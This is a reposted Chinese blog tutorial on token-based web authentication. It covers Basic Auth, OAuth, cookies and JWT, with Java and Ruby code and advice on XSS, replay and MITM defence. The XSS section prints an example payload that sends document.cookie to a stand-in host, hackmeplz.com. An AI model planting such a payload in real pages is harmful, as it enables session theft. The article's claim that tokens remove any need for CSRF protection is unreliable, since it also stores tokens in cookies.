转载自:基于Token的WEB后台认证机制

几种常用的认证机制

HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:

这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;

Cookie Auth

Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth

Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢?

  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。
载荷(Payload)

  1. { "iss": "Online JWT Builder",
  2. "iat": 1416797419,
  3. "exp": 1448333419,
  4. "aud": "www.example.com",
  5. "sub": "jrocket@example.com",
  6. "GivenName": "Johnny",
  7. "Surname": "Rocket",
  8. "Email": "jrocket@example.com",
  9. "Role": [ "Manager", "Project Administrator" ]
  10. }
  • iss: 该JWT的签发者,是否使用是可选的;
  • sub: 该JWT所面向的用户,是否使用是可选的;
  • aud: 接收该JWT的一方,是否使用是可选的;
  • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
  • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
    其他还有:
  • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码

头部(Header)
JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。

  1. {
  2. "typ": "JWT",
  3. "alg": "HS256"
  4. }

在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我们的请求URL中会带上这串JWT字符串:

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录

  • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
  • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
  • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
  • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
  • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
中,也可能在HTTP的Authorization头中;

  • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
  • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
  • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
  • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
  • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
  • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

对Token认证的五点认识

对Token认证机制有5点直接注意的地方:

  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

JWT的JAVA实现

Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
生成Token码

  1. import javax.crypto.spec.SecretKeySpec;
  2. import javax.xml.bind.DatatypeConverter;
  3. import java.security.Key;
  4. import io.jsonwebtoken.*;
  5. import java.util.Date;
  6. //Sample method to construct a JWT
  7. private String createJWT(String id, String issuer, String subject, long ttlMillis) {
  8. //The JWT signature algorithm we will be using to sign the token
  9. SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
  10. long nowMillis = System.currentTimeMillis();
  11. Date now = new Date(nowMillis);
  12. //We will sign our JWT with our ApiKey secret
  13. byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
  14. Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
  15. //Let's set the JWT Claims
  16. JwtBuilder builder = Jwts.builder().setId(id)
  17. .setIssuedAt(now)
  18. .setSubject(subject)
  19. .setIssuer(issuer)
  20. .signWith(signatureAlgorithm, signingKey);
  21. //if it has been specified, let's add the expiration
  22. if (ttlMillis >= 0) {
  23. long expMillis = nowMillis + ttlMillis;
  24. Date exp = new Date(expMillis);
  25. builder.setExpiration(exp);
  26. }
  27. //Builds the JWT and serializes it to a compact, URL-safe string
  28. return builder.compact();
  29. }

解码和验证Token码

  1. import javax.xml.bind.DatatypeConverter;
  2. import io.jsonwebtoken.Jwts;
  3. import io.jsonwebtoken.Claims;
  4. //Sample method to validate and read the JWT
  5. private void parseJWT(String jwt) {
  6. //This line will throw an exception if it is not a signed JWS (as expected)
  7. Claims claims = Jwts.parser()
  8. .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
  9. .parseClaimsJws(jwt).getBody();
  10. System.out.println("ID: " + claims.getId());
  11. System.out.println("Subject: " + claims.getSubject());
  12. System.out.println("Issuer: " + claims.getIssuer());
  13. System.out.println("Expiration: " + claims.getExpiration());
  14. }

基于JWT的Token认证的安全问题

确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

  1. <img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
  2. +document.cookie;return a}())"

这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

  • XSS攻击代码过滤
    移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
  • 采用HTTP-Only Cookies
    通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
    如何在Java中设置cookie是HttpOnly呢?
    Servlet 2.5 API 不支持 cookie设置HttpOnly
    http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
    建议升级Tomcat7.0,它已经实现了Servlet3.0
    http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
    或者通过这样来设置:
  1. //设置cookie
  2. response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
  3. //设置多个cookie
  4. response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
  5. response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
  6. //设置https的cookie
  7. response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;

如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共���秘钥
这种方案,客户端和服务端都需要知道:

  • User ID
  • 共享秘钥

客户端

  1. auth_header = JWT.encode({
  2. user_id: 123,
  3. iat: Time.now.to_i, # 指定token发布时间
  4. exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
  5. }, "<my shared secret>")
  6. RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

  1. class ApiController < ActionController::Base
  2. attr_reader :current_user
  3. before_action :set_current_user_from_jwt_token
  4. def set_current_user_from_jwt_token
  5. # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
  6. # the signature. Note JWT tokens are *not* encrypted, but signed.
  7. payload = JWT.decode(request.authorization, nil, false)
  8. # Step 2: 检查该用户是否存在于数据库
  9. @current_user = User.find(payload['user_id'])
  10. # Step 3: 检查Token签名是否正确.
  11. JWT.decode(request.authorization, current_user.api_secret)
  12. # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
  13. now = Time.now.to_i
  14. if payload['iat'] > now || payload['exp'] < now
  15. # 如果过期则返回401
  16. end
  17. rescue JWT::DecodeError
  18. # 返回 401
  19. end
  20. end

2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端

  1. auth_header = JWT.encode({
  2. user_id: 123,
  3. jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack
  4. iat: Time.now.to_i, # 指定token发布时间.
  5. exp: Time.now.to_i + 2 # 指定token过期时间为2秒后
  6. }, "<my shared secret>")
  7. RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

  1. def set_current_user_from_jwt_token
  2. # 前面的步骤参考上面
  3. payload = JWT.decode(request.authorization, nil, false)
  4. @current_user = User.find(payload['user_id'])
  5. JWT.decode(request.authorization, current_user.api_secret)
  6. now = Time.now.to_i
  7. if payload['iat'] > now || payload['exp'] < now
  8. # 返回401
  9. end
  10. # 下面将检查确保这个JWT之前没有被使用过
  11. # 使用Redis的原子操作
  12. # The redis 的键: <user id>:<one-time use token>
  13. key = "#{payload['user_id']}:#{payload['jti']}"
  14. # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
  15. if redis.getset(key, "1")
  16. # 返回401
  17. #
  18. end
  19. # 进行键值过期检查
  20. redis.expireat(key, payload['exp'] + 2)
  21. end

如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。

参考目录:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

基于Token的WEB后台认证机制相关推荐

  1. 基于Token的WEB后台登录认证机制(并讲解其他认证机制以及cookie和session机制)

    几种常用的认证机制 HTTP Basic Auth HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RES ...

  2. java实现api接口的token,基于Token的API接口认证机制

    Cookie Auth Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象:通过客户端带上来Cookie对象来与服务器端的ses ...

  3. 基于AKA的IMS接入认证机制

    基于AKA的IMS接入认证机制 IP多媒体子系统(IMS)作为3G网络的核心控制平台,其安全问题正面临着严峻的挑战.IMS的接入认证机制的实现作为整个IMS安全方案实施的第一步,是保证IMS系统安全的 ...

  4. web安全认证机制知多少

    如今web服务随处可见,成千上万的web程序被部署到公网上供用户访问,有些系统只针对指定用户开放,属于安全级别较高的web应用,他们需要有一种认证机制以保护系统资源的安全,本文将探讨五种常用的认证机制 ...

  5. 【ginny 系列】 基于Go的web后台开发,工具函数、错误处理还有中间件

    文章目录 工具函数.错误处理还有中间件 4.1 工具函数:重用你的代码片段 4.1.1 gin生成响应的方式 4.2 错误处理 4.3 中间件 4.3.1 HandlerFunc 4.3.2 Hand ...

  6. 后端架构token授权认证机制:spring security JSON Web Token(JWT)简例

    后端架构token授权认证机制:spring security JSON Web Token(JWT)简例 在基于token的客户端-服务器端认证授权以前,前端到服务器端的认证-授权通常是基于sess ...

  7. 基于jwt的用户登录认证

    最近在app的开发过程中,做了一个基于token的用户登录认证,使用vue+node+mongoDB进行的开发,前来总结一下. token认证流程: 1:用户输入用户名和密码,进行登录操作,发送登录信 ...

  8. 基于JWT的Token认证机制实现

    一.基于JWT的Token认证机制实现 1.什么是JWT JSON Web Token(JWT)是一个非常轻巧的规范.这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息. 2.JWT组成 ...

  9. jwt重放攻击_【干货分享】基于JWT的Token认证机制及安全问题

    一步一步教你基于JWT的Token认证机制实现,以及如何防范XSS攻击.Replay攻击和中间人攻击. 文章目录 一.几种常用的认证机制 1.1 HTTP Basic Auth HTTP Basic ...

最新文章

  1. 第十六届智能车竞赛广东省线上比赛成绩汇总
  2. Thread Join()的用法
  3. 如何让 dotnetcore 在 Linux 上后台运行?
  4. 两个栈实现一个队列/两个队列实现一个栈
  5. 【CodeForces - 514C】Watto and Mechanism(字符串哈希)
  6. 程序员的思考--终于确定了自己的技术发展方向
  7. 国内版Office 365和Azure AAD绑定的问题及解决方案
  8. 在回调中获取Url参数
  9. 乐易模块V7.62更新日志
  10. PROFINET转EtherCAT网关方案设计
  11. 随处可用的坐姿小帮手,还能按摩热敷,荣泰P30按摩坐垫体验
  12. pdf压缩文件怎么压缩到最小?简单快速压缩的pdf的方法?
  13. 51 Nod 一维战舰
  14. docker及k8s容器面试精华汇总(一),祝大家顺利通过企业面试!
  15. 蓝精灵协会 (The Smurfs‘ Society) 宣布与著名艺术家展开一系列的合作,打造传奇 PFP 系列
  16. Centos7如何编译安装vim8
  17. 多孔材料负载纳米/二氧化锰包覆碳纳米管的芯-壳型复合材料
  18. mac Axure RP 8 授权码 以及汉化
  19. 【C熟肉】字符串len cpy实现
  20. 应该怎样学习Unity3D

热门文章

  1. tl-wdr5620虚拟服务器设置,TP-Link TL-WDR5620路由器怎么设置
  2. Git 最著名报错 “ERROR: Permission to XXX.git denied to user”终极解决方案
  3. 百度VR智拍再升级,3D环物拍摄一站生成
  4. 8天掌握EF的Code First开发系列之3 管理数据库创建,填充种子数据以及LINQ操作详解...
  5. DELPHI窗体属性介绍
  6. 《关于TCP SYN包的超时与重传》——那些你应该知道的知识(四)
  7. 蘑菇街暑期实习生一面面经 大三
  8. python求两数最大公因数_使用辗转相除法求两个数的最大公因数(python实现)
  9. 又发现一款纯js开源电子表格Luckysheet
  10. 用于React,React Native,JavaScript和生产力的顶级VSCode扩展